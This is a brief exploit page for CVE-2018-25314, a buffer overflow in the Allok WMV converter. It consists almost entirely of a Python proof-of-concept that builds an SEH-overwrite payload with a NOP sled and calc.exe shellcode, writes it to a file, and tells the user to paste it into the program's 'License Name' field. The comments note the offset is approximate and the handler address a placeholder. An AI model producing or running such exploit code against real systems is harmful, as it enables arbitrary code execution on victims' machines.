CVE-2018-25314 Allok WMV转换器缓冲区溢出漏洞

import struct # Shellcode (calc.exe for demonstration) shellcode = b"\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0" # Padding to reach SEH offset (approximate based on typical stack layouts) # Adjust offset based on actual debugger analysis (e.g., 410 bytes) offset = 410 # SEH overwrite address (Pop Pop Ret from non-ASLR module) # Replace with actual address from application DLLs seh_handler = struct.pack('<L', 0x10010101) # NOP sled nopsled = b"\x90" * 32 # Padding after handler to hit the next seh next_seh = b"\xEB\x06\x90\x90" # Short jump + NOPs buffer = b"A" * offset + next_seh + seh_handler + nopsled + shellcode try: with open("exploit.txt", "wb") as f: f.write(buffer) print("[+] PoC file 'exploit.txt' generated successfully.") print("[+] Paste the content into the 'License Name' field.") except Exception as e: print(f"[-] Error: {e}")